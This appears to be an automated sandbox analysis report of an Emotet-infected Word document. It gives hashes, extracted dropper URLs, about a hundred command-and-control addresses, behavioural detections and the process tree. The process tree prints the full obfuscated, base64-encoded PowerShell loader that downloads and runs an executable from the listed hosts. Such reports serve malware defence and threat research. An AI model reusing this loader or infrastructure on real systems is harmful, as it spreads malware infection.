Analysis
- max time kernel
139s - max time network
147s - platform
windows10_x64 - resource
win10v200722 - submitted
16/09/2020, 21:34
Static task
static1
Behavioral task
behavioral1
Sample
8373337722498302887948.doc
Resource
win7v200722
General
- Target 8373337722498302887948.doc
- Size 187KB
- Sample200916-ca91z413nx
- SHA256 7a8024cf777ab45c5c969c5efff3dd4f289bc22baf1c91bd884fc2d29435c884
- MD5 00b6f32541b2effa646262654a91205e
- SHA1 05a5b929f07fcbb06048de8d8b160a82066949ab
- SHA512 cfe1d3a24567220bdc075e95f109345ae98dabd17dbf0dfb28826e58ded9175ab5774653692352ed3749b0d551a2c04a77975a7f367671e8192c0c3b09995383
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://dtyl.shop/wp-content/W68Nx/
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exe.dropper
https://star-speed.vip/wp-admin/U2jRIg/
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exe.dropper
https://cshub123.cn/wp-admin/Gajs/
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exe.dropper
https://viettellogistics.com.vn/wp-content/oS4/
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exe.dropper
http://cococat.se/wp-admin/2Oaf/
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exe.dropper
http://andresirjan.ir/wp-admin/JSH/
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exe.dropper
https://sptrade.com.br/wp-includes/iFZOvL/
Extracted
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emotet
-
74.219.172.26:80
-
134.209.36.254:8080
-
104.156.59.7:8080
-
120.138.30.150:8080
-
194.187.133.160:443
-
104.236.246.93:8080
-
74.208.45.104:8080
-
78.187.156.31:80
-
187.161.206.24:80
-
94.23.216.33:80
-
172.91.208.86:80
-
91.211.88.52:7080
-
50.91.114.38:80
-
200.123.150.89:443
-
121.124.124.40:7080
-
62.75.141.82:80
-
5.196.74.210:8080
-
24.137.76.62:80
-
85.105.205.77:8080
-
139.130.242.43:80
-
82.225.49.121:80
-
110.145.77.103:80
-
195.251.213.56:80
-
46.105.131.79:8080
-
87.106.136.232:8080
-
75.139.38.211:80
-
124.41.215.226:80
-
203.153.216.189:7080
-
162.241.242.173:8080
-
219.74.18.66:443
-
174.45.13.118:80
-
68.188.112.97:80
-
200.114.213.233:8080
-
213.196.135.145:80
-
61.92.17.12:80
-
61.19.246.238:443
-
219.75.128.166:80
-
120.150.60.189:80
-
123.176.25.234:80
-
1.221.254.82:80
-
137.119.36.33:80
-
94.23.237.171:443
-
74.120.55.163:80
-
62.30.7.67:443
-
104.131.11.150:443
-
139.59.67.118:443
-
209.141.54.221:8080
-
79.137.83.50:443
-
84.39.182.7:80
-
97.82.79.83:80
-
87.106.139.101:8080
-
94.1.108.190:443
-
37.187.72.193:8080
-
139.162.108.71:8080
-
93.147.212.206:80
-
74.134.41.124:80
-
103.86.49.11:8080
-
75.80.124.4:80
-
109.74.5.95:8080
-
153.232.188.106:80
-
168.235.67.138:7080
-
50.35.17.13:80
-
42.200.107.142:80
-
82.80.155.43:80
-
78.24.219.147:8080
-
24.43.99.75:80
-
107.5.122.110:80
-
156.155.166.221:80
-
83.169.36.251:8080
-
47.144.21.12:443
-
79.98.24.39:8080
-
181.169.34.190:80
-
139.59.60.244:8080
-
85.152.162.105:80
-
185.94.252.104:443
-
110.5.16.198:80
-
174.102.48.180:443
-
140.186.212.146:80
-
95.179.229.244:8080
-
104.32.141.43:80
-
169.239.182.217:8080
-
121.7.127.163:80
-
94.200.114.161:80
-
201.173.217.124:443
-
104.131.44.150:8080
-
137.59.187.107:8080
-
5.39.91.110:7080
-
203.117.253.142:80
-
157.245.99.39:8080
-
176.111.60.55:8080
-
95.213.236.64:8080
-
220.245.198.194:80
-
37.139.21.175:8080
-
89.216.122.92:80
-
139.99.158.11:443
-
24.179.13.119:80
-
188.219.31.12:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2448 3944 powershell.exe 73 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3044-15-0x0000000000A80000-0x0000000000A92000-memory.dmp emotet behavioral2/memory/3044-15-0x0000000000A80000-0x0000000000A92000-memory.dmp emotet behavioral2/memory/3044-16-0x0000000000AA0000-0x0000000000AB0000-memory.dmp emotet behavioral2/memory/3044-16-0x0000000000AA0000-0x0000000000AB0000-memory.dmp emotet behavioral2/memory/2220-19-0x0000000000940000-0x0000000000952000-memory.dmp emotet behavioral2/memory/2220-19-0x0000000000940000-0x0000000000952000-memory.dmp emotet behavioral2/memory/2220-20-0x0000000000960000-0x0000000000970000-memory.dmp emotet behavioral2/memory/2220-20-0x0000000000960000-0x0000000000970000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 23 2448 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3044 X28z031d.exe 2220 deviceassociation.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe X28z031d.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 408 WINWORD.EXE 408 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2448 powershell.exe 2448 powershell.exe 2448 powershell.exe 2220 deviceassociation.exe 2220 deviceassociation.exe 2220 deviceassociation.exe 2220 deviceassociation.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2448 powershell.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 3044 X28z031d.exe 3044 X28z031d.exe 2220 deviceassociation.exe 2220 deviceassociation.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2448 wrote to memory of 3044 2448 powershell.exe 80 PID 2448 wrote to memory of 3044 2448 powershell.exe 80 PID 2448 wrote to memory of 3044 2448 powershell.exe 80 PID 3044 wrote to memory of 2220 3044 X28z031d.exe 81 PID 3044 wrote to memory of 2220 3044 X28z031d.exe 81 PID 3044 wrote to memory of 2220 3044 X28z031d.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8373337722498302887948.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABDADIAdgBhAGkAagA1AD0AKAAoACcAUAAnACsAJwBjAHUAJwApACsAJwB1ACcAKwAoACcAdAAnACsAJwByAHUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcABSAG8ARgBJAEwARQBcAEgAWQAzAHkAdAAzAGkAXABTADgASwA0ADkAdQBtAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAYABSAEkAdABgAFkAUAByAG8AYABUAG8AYwBvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACwAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFMAawB5AHEANwBoAG0AIAA9ACAAKAAnAFgAMgAnACsAKAAnADgAJwArACcAegAwADMAJwApACsAJwAxAGQAJwApADsAJABZAHQAaAB4AGIAcgBmAD0AKAAoACcATwAnACsAJwBuAGUAJwApACsAKAAnAHcAJwArACcAbQA5ACcAKQArACcAYgAnACkAOwAkAFcAZABhAGkAZAA4ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB3ACcAKwAnAHYATwAnACkAKwAoACcASAB5ADMAJwArACcAeQB0ACcAKQArACgAJwAzAGkAJwArACcAdwB2ACcAKQArACgAJwBPACcAKwAnAFMAOAAnACkAKwAoACcAawA0ACcAKwAnADkAJwApACsAKAAnAHUAbQAnACsAJwB3ACcAKQArACcAdgBPACcAKQAuACIAUgBlAHAATABhAGAAQwBlACIAKAAoACcAdwAnACsAJwB2AE8AJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFMAawB5AHEANwBoAG0AKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABOAGIAcQBpAHkAdABpAD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAGgAeQB4AGcAJwApACsAJwBtACcAKQA7ACQAVwB0ADAAcgBlAGkAcwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAE4AdAA7ACQARQBxAHEAagA1AGgAOQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGQAJwArACcAdAB5ACcAKQArACgAJwBsAC4AcwBoAG8AcAAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQALwBXADYAOAAnACkAKwAoACcATgB4ACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwAnACsAKAAnADoALwAvAHMAJwArACcAdABhAHIAJwArACcALQAnACkAKwAnAHMAJwArACgAJwBwACcAKwAnAGUAZQBkAC4AJwArACcAdgBpACcAKQArACcAcAAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAvAFUAJwArACcAMgAnACsAJwBqAFIASQBnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6ACcAKwAnAC8ALwAnACkAKwAnAGMAJwArACgAJwBzAGgAdQAnACsAJwBiADEAJwApACsAKAAnADIAMwAnACsAJwAuAGMAbgAvACcAKwAnAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAbQBpAG4ALwBHACcAKwAnAGEAJwArACcAagBzACcAKQArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AC8AJwArACcALwAnACkAKwAoACcAdgBpAGUAdAB0AGUAbABsACcAKwAnAG8AJwArACcAZwBpAHMAdABpACcAKQArACcAYwBzACcAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAuAHYAJwApACsAJwBuAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAbgB0ACcAKQArACgAJwAvAG8AUwA0ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBjAGEAJwArACcAdAAuAHMAZQAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvADIAJwArACcATwAnACkAKwAnAGEAJwArACgAJwBmACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBhACcAKQArACgAJwBuAGQAJwArACcAcgAnACkAKwAoACcAZQAnACsAJwBzAGkAJwApACsAKAAnAHIAagBhAG4ALgAnACsAJwBpACcAKQArACgAJwByAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAEoAUwBIACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBzAHAAdAByAGEAZAAnACsAJwBlACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALgBiACcAKwAoACcAcgAvAHcAcAAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACgAJwBsAHUAZABlAHMALwAnACsAJwBpAEYAJwArACcAWgBPAHYATAAnACkAKwAnAC8AJwApAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AZQBrADEAeAB3AHUAPQAoACgAJwBLAHcAJwArACcAXwBlACcAKQArACcAcAAnACsAJwA5AHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpADgAaABuADEAcAAgAGkAbgAgACQARQBxAHEAagA1AGgAOQApAHsAdAByAHkAewAkAFcAdAAwAHIAZQBpAHMALgAiAGQAYABvAHcAYABOAGwATwBhAEQAZgBgAEkAbABFACIAKAAkAFQAaQA4AGgAbgAxAHAALAAgACQAVwBkAGEAaQBkADgANgApADsAJABXADYAcAAxAGoANwBoAD0AKAAoACcASAA1ACcAKwAnADgAZQAnACkAKwAoACcAagByACcAKwAnAGwAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwBkAGEAaQBkADgANgApAC4AIgBMAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADIANwAxADkANAApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABXAGQAYQBpAGQAOAA2ACkAOwAkAEMAZQBoAHkAbABoADkAPQAoACcAVwA1ACcAKwAoACcAYwB1AGQAJwArACcAMAA0ACcAKQApADsAYgByAGUAYQBrADsAJABLADQAMwAzAHgANAB3AD0AKAAoACcAVwBxACcAKwAnADUAJwApACsAJwAxACcAKwAoACcAcAAnACsAJwBtADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAZQBsADQAbQBlAHQAPQAoACgAJwBNACcAKwAnAGkAbwAnACkAKwAnAGMAJwArACgAJwBmACcAKwAnADcAaAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Users\Admin\Hy3yt3i\S8k49um\X28z031d.exe"C:\Users\Admin\Hy3yt3i\S8k49um\X28z031d.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe"C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2220
-
-